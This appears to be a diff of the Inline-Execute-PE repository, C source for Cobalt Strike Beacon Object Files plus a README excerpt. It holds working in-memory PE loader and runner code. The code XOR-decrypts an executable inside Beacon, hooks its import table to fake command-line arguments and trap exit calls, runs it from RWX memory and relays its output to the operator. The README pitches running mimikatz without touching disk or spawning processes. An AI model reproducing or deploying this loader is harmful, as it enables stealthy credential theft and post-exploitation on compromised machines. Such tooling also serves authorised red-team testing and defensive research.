     194 + //These redirect output from mimikatz
     195 + //Reassign reopened FILE* for stdout/stderr to the File Descriptor for the anonymous pipe
     196 + _dup2(pMemAddrs->fo, _fileno(pMemAddrs->fout));
     197 + _dup2(pMemAddrs->fo, _fileno(pMemAddrs->ferr));
     198 + 
     199 + //These redirect output from cmd.exe. Not sure why these are valid/necessary given that _freopen_s SHOULD close original FD's (1 and 2)
     200 + //Reassign original FD's for stdout/stderr to the File Descriptor for the anonymous pipe
     201 + _dup2(pMemAddrs->fo, 1);
     202 + _dup2(pMemAddrs->fo, 2);
     203 + 
     204 + //Send output back to CS to update petable with MemAddr Struct location
     205 + char pMemAddrstr[20] = {0};
     206 + sprintf_s(pMemAddrstr, 20, "%" PRIuPTR, (uintptr_t)pMemAddrs);
     207 + BeaconPrintf(CALLBACK_OUTPUT, "peload %s", pMemAddrstr);
     208 +}
     209 + 
     210 +int go(IN PCHAR Buffer, IN ULONG Length)
     211 +{
     212 + datap parser;
     213 + BeaconDataParse(&parser, Buffer, Length);
     214 + 
     215 + int dataextracted = 0;
     216 + int peLen = 0;
     217 + 
     218 + char* data = BeaconDataExtract(&parser, &peLen);
     219 + char* key = BeaconDataExtract(&parser, &dataextracted);
     220 + 
     221 + //Map PE into memory
     222 + peLoader(data, peLen, key);
     223 + 
     224 + return 0;
     225 +}
  • Inline-Execute-PE/peload.x64.o
    Binary file.
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/perun.c
     1 +#include "bofdefs.h"
     2 +#include "beacon.h"
     3 + 
     4 +#pragma warning (disable: 4996)
     5 +#define _CRT_SECURE_NO_WARNINGS
     6 +#define BUFFER_SIZE 8192
     7 +#define _WAIT_TIMEOUT 5000
     8 + 
     9 +//cmdline args vars
     10 +BOOL hijackCmdline = FALSE;
     11 +char *sz_masqCmd_Ansi = NULL;
     12 +char *sz_masqCmd_ArgvAnsi[100];
     13 +wchar_t *sz_masqCmd_Widh = NULL;
     14 +wchar_t *sz_masqCmd_ArgvWidh[100];
     15 +wchar_t** poi_masqArgvW = NULL;
     16 +char** poi_masqArgvA = NULL;
     17 +int int_masqCmd_Argc = 0;
     18 +struct MemAddrs *pMemAddrs = NULL;
     19 +DWORD dwTimeout = 0;
     20 + 
     21 +//PE vars
     22 +BYTE* pImageBase = NULL;
     23 +IMAGE_NT_HEADERS* ntHeader = NULL;
     24 + 
     25 +//-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT-------------
     26 + 
     27 +LPWSTR hookGetCommandLineW()
     28 +{
     29 + //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew");
     30 + return sz_masqCmd_Widh;
     31 +}
     32 + 
     33 +LPSTR hookGetCommandLineA()
     34 +{
     35 + //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea");
     36 + return sz_masqCmd_Ansi;
     37 +}
     38 + 
     39 +char*** __cdecl hook__p___argv(void)
     40 +{
     41 + //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv");
     42 + return &poi_masqArgvA;
     43 +}
     44 + 
     45 +wchar_t*** __cdecl hook__p___wargv(void)
     46 +{
     47 + 
     48 + //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv");
     49 + return &poi_masqArgvW;
     50 +}
     51 + 
     52 +int* __cdecl hook__p___argc(void)
     53 +{
     54 + //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc");
     55 + return &int_masqCmd_Argc;
     56 +}
     57 + 
     58 +int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless)
     59 +{
     60 + //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs");
     61 + *_Argc = int_masqCmd_Argc;
     62 + *_Argv = poi_masqArgvW;
     63 + 
     64 + return 0;
     65 +}
     66 + 
     67 +int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless)
     68 +{
     69 + //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs");
     70 + *_Argc = int_masqCmd_Argc;
     71 + *_Argv = poi_masqArgvA;
     72 + 
     73 + return 0;
     74 +}
     75 + 
     76 +_onexit_t __cdecl hook_onexit(_onexit_t function)
     77 +{
     78 + //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n");
     79 + return 0;
     80 +}
     81 + 
     82 +int __cdecl hookatexit(void(__cdecl* func)(void))
     83 +{
     84 + //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n");
     85 + return 0;
     86 +}
     87 + 
     88 +int __cdecl hookexit(int status)
     89 +{
     90 + //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n");
     91 + //_cexit() causes cmd.exe to break for reasons unknown...
     92 + ExitThread(0);
     93 + return 0;
     94 +}
     95 + 
     96 +void __stdcall hookExitProcess(UINT statuscode)
     97 +{
     98 + //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n");
     99 + ExitThread(0);
     100 +}
     101 + 
     102 +//-----Have to redefine __acrt_iob_func and stdin/stdout/stderr due to CS inability to resolve __acrt_iob_func-----
     103 + 
     104 +FILE *__cdecl __acrt_iob_funcs(unsigned index)
     105 +{
     106 + return &(__iob_func()[index]);
     107 +}
     108 + 
     109 +#define stdin (__acrt_iob_funcs(0))
     110 +#define stdout (__acrt_iob_funcs(1))
     111 +#define stderr (__acrt_iob_funcs(2))
     112 + 
     113 + 
     114 +//This function handles transforming the basic Ansi cmdline string from CS into all of the different formats that might be required by a PE
     115 +void masqueradeCmdline()
     116 +{
     117 + //Convert cmdline to widestring
     118 + int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0);
     119 + sz_masqCmd_Widh = calloc(required_size + 1, sizeof(wchar_t));
     120 + MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size);
     121 + 
     122 + //Create widestring array of pointers
     123 + poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc);
     124 + 
     125 + //Manual function equivalent for CommandLineToArgvA
     126 + int retval;
     127 + int memsize = int_masqCmd_Argc * sizeof(LPSTR);
     128 + for (int i = 0; i < int_masqCmd_Argc; ++ i)
     129 + {
     130 + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL);
     131 + memsize += retval;
     132 + }
     133 + 
     134 + poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize);
     135 + 
     136 + int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR);
     137 + LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR);
     138 + for (int i = 0; i < int_masqCmd_Argc; ++ i)
     139 + {
     140 + retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL);
     141 + poi_masqArgvA[i] = buffer;
     142 + buffer += retval;
     143 + bufLen -= retval;
     144 + }
     145 + 
     146 + hijackCmdline = TRUE;
     147 +}
     148 + 
     149 + 
     150 +//-------These next two functions necessary to zero-out/free the char*/wchar_t* arrays holding cmdline args--------
     151 + 
     152 +//This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array
     153 +void freeargvA(char** array, int Argc)
     154 +{
     155 + //Wipe cmdline args from beacon memory
     156 + for (int i = 0; i < Argc; i++)
     157 + {
     158 + memset(array[i], 0, strlen(array[i]));
     159 + }
     160 + LocalFree(array);
     161 +}
     162 + 
     163 +//This array is returned from CommandLineToArgvW so using LocalFree as per MSDN
     164 +void freeargvW(wchar_t** array, int Argc)
     165 +{
     166 + //Wipe cmdline args from beacon memory
     167 + for (int i = 0; i < Argc; i++)
     168 + {
     169 + memset(array[i], 0, wcslen(array[i]) * 2);
     170 + }
     171 + LocalFree(array);
     172 +}
     173 + 
     174 +//This function XOR's/un-XOR's PE in memory
     175 +void xorPE(char* pImageBase, DWORD sizeofimage, char* key)
     176 +{
     177 + //Copy key into char array for easier use in XOR function
     178 + char temp[100] = {0};
     179 + memcpy(temp, key, strlen(key));
     180 + 
     181 + DWORD a = 0;
     182 + 
     183 + while (a < sizeofimage) {
     184 + //If byte isn't null, we xor it
     185 + if(*(pImageBase + a) != 0x00) //if((*(pImageBase + a) != 0x00 ) && (*(pImageBase + a) ^ temp[a % strlen(temp)] != 0x00))
     186 + {
     187 + //XOR byte using key
     188 + *(pImageBase + a) ^= temp[a % strlen(temp)];
     189 + 
     190 + //If resulting byte is a null byte, we xor back to original
     191 + if(*(pImageBase + a) == 0x00)
     192 + {
     193 + *(pImageBase + a) ^= temp[a % strlen(temp)];
     194 + }
     195 + }
     196 + a++;
     197 + }
     198 + memset(temp, 0, strlen(key));
     199 + return;
     200 +}
     201 + 
     202 + 
     203 +//-------------------------These functions related to parsing PE and fixing the IAT of PE -------------------------
     204 + 
     205 +BYTE* getNtHdrs(BYTE* pe_buffer)
     206 +{
     207 + if (pe_buffer == NULL) return NULL;
     208 + 
     209 + IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer;
     210 + if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
     211 + return NULL;
     212 + }
     213 + const LONG kMaxOffset = 1024;
     214 + LONG pe_offset = idh->e_lfanew;
     215 + if (pe_offset > kMaxOffset) return NULL;
     216 + IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((BYTE*)pe_buffer + pe_offset);
     217 + if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL;
     218 + return (BYTE*)inh;
     219 +}
     220 + 
     221 +IMAGE_DATA_DIRECTORY* getPeDir(PVOID pe_buffer, size_t dir_id)
     222 +{
     223 + if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL;
     224 + 
     225 + BYTE* nt_headers = getNtHdrs((BYTE*)pe_buffer);
     226 + if (nt_headers == NULL) return NULL;
     227 + 
     228 + IMAGE_DATA_DIRECTORY* peDir = NULL;
     229 + 
     230 + IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers;
     231 + peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]);
     232 + 
     233 + if (peDir->VirtualAddress == NULL) {
     234 + return NULL;
     235 + }
     236 + return peDir;
     237 +}
     238 + 
     239 +//Fix IAT in manually mapped PE. This is where we hook certain API's and redirect calls to them to our above defined functions.
     240 +BOOL fixIAT(PVOID modulePtr)
     241 +{
     242 + IMAGE_DATA_DIRECTORY* importsDir = getPeDir(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT);
     243 + if (importsDir == NULL) return FALSE;
     244 + 
     245 + size_t maxSize = importsDir->Size;
     246 + size_t impAddr = importsDir->VirtualAddress;
     247 + 
     248 + IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL;
     249 + size_t parsedSize = 0;
     250 + 
     251 + for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
     252 + lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr);
     253 + 
     254 + if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break;
     255 + LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name);
     256 + //This BeaconPrintf will list every DLL imported by PE (but not those loaded by other DLL's...)
     257 + //BeaconPrintf(CALLBACK_OUTPUT, " [+] Import DLL: %s\n", lib_name);
     258 + 
     259 + size_t call_via = lib_desc->FirstThunk;
     260 + size_t thunk_addr = lib_desc->OriginalFirstThunk;
     261 + if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk;
     262 + 
     263 + size_t offsetField = 0;
     264 + size_t offsetThunk = 0;
     265 + while (TRUE)
     266 + {
     267 + IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)((size_t)(modulePtr) + offsetField + call_via);
     268 + IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)((size_t)(modulePtr) + offsetThunk + thunk_addr);
     269 + 
     270 + if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)
     271 + {
     272 + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF));
     273 + fieldThunk->u1.Function = addr;
     274 + //This BeaconPrintf will list api's imported by ordinal
     275 + //BeaconPrintf(CALLBACK_OUTPUT, " [V] API %x at %x\n", orginThunk->u1.Ordinal, addr);
     276 + }
     277 + 
     278 + if (fieldThunk->u1.Function == NULL)
     279 + break;
     280 + 
     281 + if(fieldThunk->u1.Function == orginThunk->u1.Function)
     282 + {
     283 + PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr) + orginThunk->u1.AddressOfData);
     284 + LPSTR func_name = (LPSTR)by_name->Name;
     285 +
     286 + size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name);
     287 + //This BeaconPrintf will list api's imported by name
     288 + //BeaconPrintf(CALLBACK_OUTPUT, " [V] API %s at %x\n", func_name, addr);
     289 + 
     290 + //We have to hook several functions in order to run our PE.
     291 + //GetCommandLineA, GetCommandLineW, __getmainargs, __wgetmainargs, __p___argv, __p___wargv, __p___argc all relate to providing cmdline args to PE
     292 + //exit, _Exit, _exit, quick_exit, and ExitProcess must be hooked so that when they are called we don't exit our beacon...
     293 + 
     294 + if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0)
     295 + {
     296 + fieldThunk->u1.Function = (size_t)hookGetCommandLineA;
     297 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     298 + }
     299 + else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0)
     300 + {
     301 + fieldThunk->u1.Function = (size_t)hookGetCommandLineW;
     302 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     303 + }
     304 + else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0)
     305 + {
     306 + fieldThunk->u1.Function = (size_t)hook__wgetmainargs;
     307 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     308 + }
     309 + else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0)
     310 + {
     311 + fieldThunk->u1.Function = (size_t)hook__getmainargs;
     312 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     313 + }
     314 + else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0)
     315 + {
     316 + fieldThunk->u1.Function = (size_t)hook__p___argv;
     317 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     318 + }
     319 + else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0)
     320 + {
     321 + fieldThunk->u1.Function = (size_t)hook__p___wargv;
     322 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     323 + }
     324 + else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0)
     325 + {
     326 + fieldThunk->u1.Function = (size_t)hook__p___argc;
     327 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     328 + }
     329 + else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0))
     330 + {
     331 + fieldThunk->u1.Function = (size_t)hookexit;
     332 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     333 + }
     334 + else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0)
     335 + {
     336 + fieldThunk->u1.Function = (size_t)hookExitProcess;
     337 + //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name);
     338 + }
     339 + else
     340 + fieldThunk->u1.Function = addr;
     341 + 
     342 + }
     343 + offsetField += sizeof(IMAGE_THUNK_DATA);
     344 + offsetThunk += sizeof(IMAGE_THUNK_DATA);
     345 + }
     346 + }
     347 + return TRUE;
     348 +}
     349 + 
     350 +BOOL peRun(char* key)
     351 +{
     352 + 
     353 + //Decrypt PE in memory
     354 + xorPE(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, key);
     355 + 
     356 + //format and/or hook commandline args
     357 + masqueradeCmdline();
     358 + 
     359 + //Remap API's
     360 + fixIAT((VOID*)pMemAddrs->pImageBase);
     361 + 
     362 + //Make PE executable. Note that RWX seems to be necessary here, using RX caused crashes. Maybe to do with parsing cmdline args?
     363 + DWORD dwOldProtect;
     364 + VirtualProtect(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect);
     365 + 
     366 + //Get timestamp immediately before running PE for comparison later
     367 + LARGE_INTEGER frequency, before, after;
     368 + QueryPerformanceFrequency(&frequency);
     369 + QueryPerformanceCounter(&before);
     370 + 
     371 + //Run PE
     372 + HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)(pMemAddrs->pImageBase + pMemAddrs->AddressOfEntryPoint), 0, 0, 0);
     373 + 
     374 + 
     375 +//-----We now have to collect output from PE. This is done in a loop in order to continue reading from pipe.------
     376 + 
     377 + DWORD remainingDataOutput = 0;
     378 + DWORD waitResult = -1;
     379 + BOOL isThreadFinished = FALSE;
     380 + DWORD bytesRead = 0;
     381 + BOOL aborted = FALSE;
     382 + 
     383 + //Allocate buffer to hold output from PE
     384 + unsigned char* recvBuffer = calloc(BUFFER_SIZE, sizeof(unsigned char));
     385 + 
     386 + do {
     387 + //Get current time
     388 + QueryPerformanceCounter(&after);
     389 + 
     390 + //Calculate elapsed time since thread started; if it exceeds our timeout, we want to bail out of execution and terminate the PE.
     391 + if (((after.QuadPart - before.QuadPart) / frequency.QuadPart) > dwTimeout)
     392 + {
     393 + //Kill PE thread
     394 + TerminateThread(hThread, 0);
     395 + 
     396 + //If we hit bailout condition we assume that something went wrong during execution
     397 + //This often means that the FILE* we get (fout/ferr) after reopening stdout/stderr are hanging/messed up and cannot be closed
     398 + //We must instruct peunload not to attempt to close these FILE* or we will lose comms with our Beacon
     399 + pMemAddrs->bCloseFHandles = FALSE;
     400 + aborted = TRUE;
     401 + }
     402 + 
     403 + //Wait for PE thread completion
     404 + waitResult = WaitForSingleObject(hThread, _WAIT_TIMEOUT);
     405 + switch (waitResult) {
     406 + case WAIT_ABANDONED:
     407 + break;
     408 + case WAIT_FAILED:
     409 + break;
     410 + case _WAIT_TIMEOUT:
     411 + break;
     412 + case WAIT_OBJECT_0:
     413 + isThreadFinished = TRUE;
     414 + }
     415 + 
     416 + //See if/how much data is available to be read from pipe
     417 + PeekNamedPipe((VOID*)pMemAddrs->hreadout, NULL, 0, NULL, &remainingDataOutput, NULL);
     418 + //BeaconPrintf(CALLBACK_OUTPUT, "Peek bytes available: %d!\nGetLastError: %d", remainingDataOutput, GetLastError());
     419 + 
     420 + //If there is data to be read, zero out buffer, read data, and send back to CS
     421 + if (remainingDataOutput) {
     422 + memset(recvBuffer, 0, BUFFER_SIZE);
     423 + bytesRead = 0;
     424 + ReadFile( (VOID*)pMemAddrs->hreadout, recvBuffer, BUFFER_SIZE - 1, &bytesRead, NULL);
     425 + 
     426 + //Send output back to CS
     427 + BeaconPrintf(CALLBACK_OUTPUT, "%s", recvBuffer);
     428 + 
     429 + }
     430 + } while (!isThreadFinished || remainingDataOutput);
     431 + 
     432 + //Free results buffer
     433 + free(recvBuffer);
     434 +
     435 + //Free cmdline memory
     436 + free(sz_masqCmd_Widh);
     437 + freeargvA(poi_masqArgvA, int_masqCmd_Argc);
     438 + freeargvW(poi_masqArgvW, int_masqCmd_Argc);
     439 + 
     440 + //Revert memory protections on PE back to RW
     441 + VirtualProtect(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, dwOldProtect, &dwOldProtect);
     442 + 
     443 + //Refresh mapped PE with backup in order to restore to original state (and XOR encrypted again).
     444 + memcpy(pMemAddrs->pImageBase, pMemAddrs->pBackupImage, pMemAddrs->SizeOfImage);
     445 + 
     446 + //If we hit timeout on PE and killed it, let CS know.
     447 + if(aborted)
     448 + BeaconPrintf(CALLBACK_OUTPUT, "perun timeout");
     449 + else
     450 + BeaconPrintf(CALLBACK_OUTPUT, "perun complete");
     451 +}
     452 + 
     453 +int go(IN PCHAR Buffer, IN ULONG Length)
     454 +{
     455 + datap parser;
     456 + BeaconDataParse(&parser, Buffer, Length);
     457 + int dataextracted = 0;
     458 + 
     459 + char* key = BeaconDataExtract(&parser, &dataextracted);
     460 + char* pMemAddrstr = BeaconDataExtract(&parser, &dataextracted);
     461 + sz_masqCmd_Ansi = BeaconDataExtract(&parser, &dataextracted);
     462 + dwTimeout = BeaconDataInt(&parser);
     463 + 
     464 + /* //Debug
     465 + BeaconPrintf(CALLBACK_OUTPUT, "beaconarg key is: %s", key);
     466 + BeaconPrintf(CALLBACK_OUTPUT, "beaconarg pMemAddrstr is: %s", pMemAddrstr);
     467 + BeaconPrintf(CALLBACK_OUTPUT, "beaconarg cmdline is: %s", sz_masqCmd_Ansi);
     468 + BeaconPrintf(CALLBACK_OUTPUT, "beaconarg dwTimeout is: %d", dwTimeout);
     469 + */
     470 + 
     471 + //Associate pMemAddrs struct with address passed from CS
     472 + char* pEnd;
     473 + pMemAddrs = (struct MemAddrs*)_strtoi64(pMemAddrstr, &pEnd, 10);
     474 + //BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs is: %p!", pMemAddrs);
     475 + 
     476 + /* //Debug
     477 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->pImageBase is: %p!", pMemAddrs->pImageBase);
     478 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->pBackupImage is: %p!", pMemAddrs->pBackupImage);
     479 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->AddressOfEntryPoint: %d!", pMemAddrs->AddressOfEntryPoint);
     480 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->SizeOfImage: %d!", pMemAddrs->SizeOfImage);
     481 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->fout: %p!", pMemAddrs->fout);
     482 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->ferr: %p!", pMemAddrs->ferr);
     483 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->hreadout: %p!", pMemAddrs->hreadout);
     484 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->hwriteout: %p!", pMemAddrs->hwriteout);
     485 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->fo: %d!", pMemAddrs->fo);
     486 + */
     487 + 
     488 + //Run PE
     489 + peRun(key);
     490 + 
     491 + return 0;
     492 +}
  • Inline-Execute-PE/perun.x64.o
    Binary file.
  • ■ ■ ■ ■ ■ ■
    Inline-Execute-PE/peunload.c
     1 +#include "bofdefs.h"
     2 +#include "beacon.h"
     3 + 
     4 +#pragma warning (disable: 4996)
     5 +#define _CRT_SECURE_NO_WARNINGS
     6 +#define ARRAY_MODULES_SIZE 128
     7 + 
     8 +struct MemAddrs *pMemAddrs;
     9 +BOOL bUnloadLibraries;
     10 + 
     11 +FILE *__cdecl __acrt_iob_funcs(unsigned index)
     12 +{
     13 + return &(__iob_func()[index]);
     14 +}
     15 + 
     16 +#define stdin (__acrt_iob_funcs(0))
     17 +#define stdout (__acrt_iob_funcs(1))
     18 +#define stderr (__acrt_iob_funcs(2))
     19 + 
     20 + 
     21 +void cleanupModules(DWORD numberOfLoadedModules) {
     22 + DWORD cbNeeded = -1;
     23 + char modName[255] = {0};
     24 + 
     25 + HMODULE* hMods = calloc(ARRAY_MODULES_SIZE, sizeof(HMODULE));
     26 + 
     27 + //Populate list of DLL's in process and then iterate over them (starting from the index of the number of DLL's loaded before peload) freeing each one
     28 + //Note that while the FreeLibrary calls seem to succeed (GetLastError returns 0), sometimes certain DLL's don't get unloaded...
     29 + if (EnumProcessModules((HANDLE)-1, hMods, ARRAY_MODULES_SIZE * sizeof(HMODULE), &cbNeeded)) {
     30 + for (DWORD i = numberOfLoadedModules; i < (cbNeeded / sizeof(HMODULE)); i++) {
     31 + SetLastError(0);
     32 + FreeLibrary(hMods[i]);
     33 + 
     34 + /* //Debug- print module name of each DLL that we try and free.
     35 + memset(modName, 0, 255);
     36 + GetModuleFileNameA(hMods[i], modName, 255);
     37 + BeaconPrintf(CALLBACK_OUTPUT, "Freeing module: %s GetLastError: %d\n", modName, GetLastError());
     38 + */
     39 + }
     40 + BeaconPrintf(CALLBACK_OUTPUT, "Attempted to free DLL's loaded by PE!");
     41 + }
     42 + free(hMods);
     43 + 
     44 + return;
     45 +}
     46 + 
     47 +void KillConhost()
     48 +{
     49 + HANDLE hProcessSnap;
     50 + PROCESSENTRY32 pe32;
     51 + DWORD result;
     52 + char* processname = "conhost.exe";
     53 + 
     54 + // Take a snapshot of all processes in the system.
     55 + hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     56 + if (INVALID_HANDLE_VALUE == hProcessSnap)
     57 + return;
     58 + 
     59 + pe32.dwSize = sizeof(PROCESSENTRY32);
     60 + 
     61 + // Retrieve information about the first process,
     62 + // and exit if unsuccessful
     63 + if (!Process32First(hProcessSnap, &pe32))
     64 + {
     65 + CloseHandle(hProcessSnap); // clean the snapshot object
     66 + return;
     67 + }
     68 + 
     69 + //Get current PID
     70 + DWORD procID = GetCurrentProcessId();
     71 + 
     72 + //Iterate over every process, find all the conhost.exe
     73 + do
     74 + {
     75 + if (0 == strcmp(processname, pe32.szExeFile))
     76 + {
     77 + //If conhost.exe parent PID matches current procID (beacon), terminate the conhost
     78 + if(pe32.th32ParentProcessID == procID)
     79 + {
     80 + HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0, (DWORD)pe32.th32ProcessID);
     81 + TerminateProcess(hProcess, 0);
     82 + CloseHandle(hProcess);
     83 + break;
     84 + }
     85 + }
     86 +
     87 + } while (Process32Next(hProcessSnap, &pe32));
     88 + CloseHandle(hProcessSnap);
     89 + 
     90 + return;
     91 +}
     92 + 
     93 +BOOL peUnload()
     94 +{
     95 + //Clean-up handles
     96 + //Close write-end stdout and stderr pipe handles that were converted using open_osfhandle
     97 + _close(pMemAddrs->fo);
     98 + 
     99 + //Close read-end stdout and stderr pipe handles
     100 + CloseHandle((VOID*)pMemAddrs->hreadout);
     101 + 
     102 + //Close re-opened stdout/stderr FILE* fout and ferr
     103 + //Default is to perform this action
     104 + //If we timed out during execution we assume something went wrong and don't try to close these as it can cause beacon to hang.
     105 +
     106 + if(pMemAddrs->bCloseFHandles == TRUE)
     107 + {
     108 + fclose(pMemAddrs->fout);
     109 + fclose(pMemAddrs->ferr);
     110 + }
     111 +
     112 + //Free conhost.exe
     113 + FreeConsole();
     114 + 
     115 + //Sometimes conhost.exe doesn't actually exit (observed with powershell.exe), so walk process list and kill conhost.exe if it exists
     116 + KillConhost();
     117 + 
     118 + //Free PE memory
     119 + memset((void*)pMemAddrs->pImageBase, 0, pMemAddrs->SizeOfImage);
     120 + VirtualFree((LPVOID)pMemAddrs->pImageBase, 0, MEM_RELEASE);
     121 + 
     122 + //Free Backup PE memory
     123 + memset((void*)pMemAddrs->pBackupImage, 0, pMemAddrs->SizeOfImage);
     124 + VirtualFree((LPVOID)pMemAddrs->pBackupImage, 0, MEM_RELEASE);
     125 + 
     126 + //If bUnloadLibraries == TRUE, unload DLL's. This is default, but some PE's will crash if you try and unload the DLL's.
     127 + //Observed with Powershell.exe, believe this is due to CLR being loaded by Powershell.
     128 + if(bUnloadLibraries)
     129 + cleanupModules(pMemAddrs->dwNumModules);
     130 + 
     131 + //Free pMemAddr struct
     132 + free(pMemAddrs);
     133 + 
     134 + BeaconPrintf(CALLBACK_OUTPUT, "peunload successful");
     135 +}
     136 + 
     137 +int go(IN PCHAR Buffer, IN ULONG Length)
     138 +{
     139 + datap parser;
     140 + BeaconDataParse(&parser, Buffer, Length);
     141 + 
     142 + int dataextracted = 0;
     143 + char* pEnd;
     144 +
     145 + char* pMemAddrstr = BeaconDataExtract(&parser, &dataextracted);
     146 + pMemAddrs = (struct MemAddrs*)_strtoi64(pMemAddrstr, &pEnd, 10);
     147 + bUnloadLibraries = BeaconDataInt(&parser);
     148 + 
     149 + /* //Debug
     150 + BeaconPrintf(CALLBACK_OUTPUT, "beaconarg pMemAddrstr is: %s", pMemAddrstr);
     151 + BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs is: %p!", pMemAddrs);
     152 + BeaconPrintf(CALLBACK_OUTPUT, "bUnloadLibraries is: %d!", bUnloadLibraries);
     153 + */
     154 + 
     155 + //Clear PE from memory and clean up handles, DLL's, etc
     156 + peUnload();
     157 + 
     158 + return 0;
     159 +}
  • Inline-Execute-PE/peunload.x64.o
    Binary file.
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# Inline-Execute-PE
     2 +### DISCLAIMER:
     3 +#### This project is complex and failure to understand how it works and adequately test it can result in you crashing Beacons and losing access!
     4 +#### I highly encourage you to read all of the documentation up until the "Design Considerations and Commentary" section!
     5 + 
     6 +## Introduction
     7 +Inline-Execute-PE is a suite of Beacon Object Files (BOF's) and an accompanying Aggressor script for CobaltStrike that enables Operators to load unmanaged Windows executables into Beacon memory and execute them, retrieving the output and rendering it in the Beacon console.
     8 + 
     9 +This enables Operators to use many third party tools (mimikatz, dsquery, sysinternals tools, etc) without needing to drop them to disk, reformat them to position independent code using a tool like Donut, or create a new process to run them.
     10 + 
